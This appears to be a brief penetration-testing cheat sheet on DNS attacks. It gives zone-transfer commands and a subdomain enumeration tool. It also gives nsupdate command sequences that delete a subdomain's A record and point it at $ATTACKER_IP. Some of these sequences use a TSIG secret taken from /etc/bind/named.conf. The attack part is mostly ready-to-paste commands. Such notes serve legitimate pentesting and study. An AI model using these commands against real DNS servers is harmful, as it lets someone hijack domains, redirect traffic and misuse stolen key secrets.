clean up and rewrite
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# DNS
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## Subdomain Enumeration
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* Get all the info via
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```sh
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dig @$TARGET_DNS $DOMAIN axfr
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drill @$TARGET_DNS $DOMAIN axfr
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```
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There is also [subrake](https://github.com/hash3liZer/Subrake.git) for sudbdomain enumeration.
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A Subdomain Enumeration and Validation tool for Bug Bounty and Pentesters.
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## Join a Domain
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Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk
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```sh
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nsupdate
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server <DNS-IP>
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update delete <sub.domain.com>
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update add <sub.domain.com> 1234 A $ATTACKER_IP
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send
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quit
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```
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Afterwards, check the domain by querying the subdomain's A record via dig/drill/nslookup.
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### Found Secrets for Keys
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Sometimes secrets can be found secret like a key, for example in `/etc/bind/named.conf`. This secret can be used to join the domain.
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```sh
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nsupdate -d -y <hash algorithm>:<name of the key>:<secret>
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Creating key...
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namefromtext
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keycreate
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server <domain>
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update add <subdomain>.<toplevel-domain>. 86400 IN A $ATTACKER_IP
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send
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```
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*Hint:* Copy the lines, every space counts as it has to be exactly like in the example
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